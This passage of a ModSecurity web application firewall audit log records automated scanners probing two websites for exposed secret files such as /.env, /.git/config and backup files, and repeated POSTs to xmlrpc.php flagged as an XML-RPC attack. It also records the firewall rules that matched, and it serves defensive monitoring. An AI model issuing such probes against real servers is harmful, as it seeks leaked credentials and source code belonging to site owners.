must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=516869cf14f93fa3382cf763d5076f251750035678; expires=Mon, 16 Jun 2025 02:01:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4fde070e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.example"] [unique_id "aE9s3jC9bb-fhYp4LpFUpQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035678052155 671001 (- - -) Stopwatch2: 1750035678052155 671001; combined=1824, p1=414, p2=1288, p3=0, p4=0, p5=121, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4fde070e-Z-- --38a30b57-A-- [16/Jun/2025:06:31:25.701304 +0530] aE9s5BqlZKl9zSjMrhQ4GQAAAAE 128.199.112.101 45782 127.0.0.1 7081 --38a30b57-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --38a30b57-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --38a30b57-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9s5BqlZKl9zSjMrhQ4GQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035684676070 1025295 (- - -) Stopwatch2: 1750035684676070 1025295; combined=155653, p1=490, p2=1504, p3=43, p4=57, p5=76815, sr=190, sw=98, l=0, gc=76646 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38a30b57-Z-- --ce9dcc61-A-- [16/Jun/2025:06:31:34.763283 +0530] aE9s7hqlZKl9zSjMrhQ4IQAAAAE 185.177.72.210 54348 127.0.0.1 7081 --ce9dcc61-B-- GET /lib/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ce9dcc61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=786b629805d70c47fcb771c5096d987c1750035694; expires=Mon, 16 Jun 2025 02:01:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ce9dcc61-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/lib/.env"] [unique_id "aE9s7hqlZKl9zSjMrhQ4IQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035694091391 671978 (- - -) Stopwatch2: 1750035694091391 671978; combined=1979, p1=454, p2=1405, p3=0, p4=0, p5=119, sr=134, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ce9dcc61-Z-- --56285c76-A-- [16/Jun/2025:06:31:40.640633 +0530] aE9s8zC9bb-fhYp4LpFUswAAAAM 185.177.72.210 40022 127.0.0.1 7081 --56285c76-B-- GET /:5000/www/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --56285c76-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1d1d005ebd93965f9cada3f37e8e184b1750035700; expires=Mon, 16 Jun 2025 02:01:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --56285c76-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/www/.env"] [unique_id "aE9s8zC9bb-fhYp4LpFUswAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035699956540 684168 (- - -) Stopwatch2: 1750035699956540 684168; combined=2513, p1=537, p2=1881, p3=0, p4=0, p5=95, sr=149, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --56285c76-Z-- --94339547-A-- [16/Jun/2025:06:32:25.033359 +0530] aE9tINNEcm-DhAkC0ibgQwAAAAY 128.199.112.101 46082 127.0.0.1 7081 --94339547-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --94339547-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --94339547-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9tINNEcm-DhAkC0ibgQwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035744077384 956030 (- - -) Stopwatch2: 1750035744077384 956030; combined=2072, p1=359, p2=1322, p3=43, p4=60, p5=187, sr=86, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --94339547-Z-- --077fe65a-A-- [16/Jun/2025:06:33:25.693342 +0530] aE9tXNNEcm-DhAkC0ibgaQAAAAY 128.199.112.101 45826 127.0.0.1 7081 --077fe65a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --077fe65a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --077fe65a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9tXNNEcm-DhAkC0ibgaQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035804762797 930612 (- - -) Stopwatch2: 1750035804762797 930612; combined=2171, p1=336, p2=1482, p3=39, p4=59, p5=161, sr=89, sw=94, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --077fe65a-Z-- --445bda59-A-- [16/Jun/2025:06:33:47.175834 +0530] aE9tc7oFnONBt7jRcByRQQAAAA4 198.199.84.5 43254 127.0.0.1 7080 --445bda59-B-- GET /.env HTTP/1.0 Host: 198.71.51.75 X-Real-IP: 198.199.84.5 Connection: close User-Agent: Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about); Accept: */* Accept-Encoding: gzip --445bda59-F-- HTTP/1.1 404 Not Found Content-Length: 258 Connection: close Content-Type: text/html; charset=iso-8859-1 --445bda59-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "198.71.51.75"] [uri "/.env"] [unique_id "aE9tc7oFnONBt7jRcByRQQAAAA4"] Stopwatch: 1750035827172745 3136 (- - -) Stopwatch2: 1750035827172745 3136; combined=1917, p1=384, p2=1391, p3=29, p4=35, p5=78, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --445bda59-Z-- --8f971574-A-- [16/Jun/2025:06:33:47.244067 +0530] aE9tc_v_9qNKLXJRkuZa5gAAAAs 198.199.84.5 43260 127.0.0.1 7080 --8f971574-B-- GET /.git/config HTTP/1.0 Host: 198.71.51.75 X-Real-IP: 198.199.84.5 Connection: close User-Agent: Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about); Accept: */* Accept-Encoding: gzip --8f971574-F-- HTTP/1.1 404 Not Found Content-Length: 258 Connection: close Content-Type: text/html; charset=iso-8859-1 --8f971574-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "198.71.51.75"] [uri "/.git/config"] [unique_id "aE9tc_v_9qNKLXJRkuZa5gAAAAs"] Stopwatch: 1750035827241308 2804 (- - -) Stopwatch2: 1750035827241308 2804; combined=1655, p1=367, p2=1197, p3=18, p4=22, p5=51, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8f971574-Z-- --4978cb05-A-- [16/Jun/2025:06:33:56.061189 +0530] aE9te1XriBOgqnJNgkwlBQAAAAA 185.177.72.210 53858 127.0.0.1 7081 --4978cb05-B-- GET /settings/.env.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4978cb05-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3df617295f5174baaa19ba6090212d751750035835; expires=Mon, 16 Jun 2025 02:03:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4978cb05-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env.old"] [unique_id "aE9te1XriBOgqnJNgkwlBQAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env.old"] [unique_id "aE9te1XriBOgqnJNgkwlBQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035835390092 671169 (- - -) Stopwatch2: 1750035835390092 671169; combined=2343, p1=517, p2=1699, p3=0, p4=0, p5=126, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4978cb05-Z-- --cd932517-A-- [16/Jun/2025:06:33:57.126551 +0530] aE9tfJ16HYQp4eDf7R1ZnAAAAAI 185.177.72.210 53904 127.0.0.1 7081 --cd932517-B-- GET /awstats.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cd932517-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b31e7d7d4e0b1055ea55b77dcf79cbd41750035836; expires=Mon, 16 Jun 2025 02:03:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cd932517-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/awstats.conf"] [unique_id "aE9tfJ16HYQp4eDf7R1ZnAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035836418407 708206 (- - -) Stopwatch2: 1750035836418407 708206; combined=1981, p1=331, p2=1557, p3=0, p4=0, p5=92, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cd932517-Z-- --40f5d453-A-- [16/Jun/2025:06:34:05.162562 +0530] aE9thA9THibLN0xLxET0TwAAAAk 185.177.72.210 44048 127.0.0.1 7081 --40f5d453-B-- GET /typo3conf/ext/twwc_pages/ext_tables.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --40f5d453-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=28916a9de6633564a1119340a12452421750035845; expires=Mon, 16 Jun 2025 02:04:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --40f5d453-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/typo3conf/ext/twwc_pages/ext_tables.sql"] [unique_id "aE9thA9THibLN0xLxET0TwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035844470424 692202 (- - -) Stopwatch2: 1750035844470424 692202; combined=2683, p1=454, p2=2118, p3=0, p4=0, p5=111, sr=126, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --40f5d453-Z-- --f319182f-A-- [16/Jun/2025:06:34:09.808503 +0530] aE9tiZ16HYQp4eDf7R1ZoAAAAAI 185.177.72.210 44182 127.0.0.1 7081 --f319182f-B-- GET /backup.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f319182f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b8456708578f3cd236db440c66d90a0e1750035849; expires=Mon, 16 Jun 2025 02:04:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f319182f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backup.old"] [unique_id "aE9tiZ16HYQp4eDf7R1ZoAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035849092521 716047 (- - -) Stopwatch2: 1750035849092521 716047; combined=2133, p1=354, p2=1647, p3=0, p4=0, p5=131, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f319182f-Z-- --345bd907-A-- [16/Jun/2025:06:34:18.364079 +0530] aE9tkbwLQO_9qxz2deDFNgAAAAw 185.177.72.210 34114 127.0.0.1 7081 --345bd907-B-- GET /manual/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --345bd907-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=726cd0dee806045fe336aecbcaabd9d01750035858; expires=Mon, 16 Jun 2025 02:04:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --345bd907-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/manual/.env"] [unique_id "aE9tkbwLQO_9qxz2deDFNgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035857641513 722629 (- - -) Stopwatch2: 1750035857641513 722629; combined=2156, p1=469, p2=1584, p3=0, p4=0, p5=103, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --345bd907-Z-- --a5ed6e05-A-- [16/Jun/2025:06:34:25.306092 +0530] aE9tmA9THibLN0xLxET0VgAAAAk 128.199.112.101 53002 127.0.0.1 7081 --a5ed6e05-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a5ed6e05-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a5ed6e05-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9tmA9THibLN0xLxET0VgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035864356251 949920 (- - -) Stopwatch2: 1750035864356251 949920; combined=2334, p1=428, p2=1504, p3=34, p4=64, p5=186, sr=117, sw=118, l=0, gc=0 Producer: ModSecurity 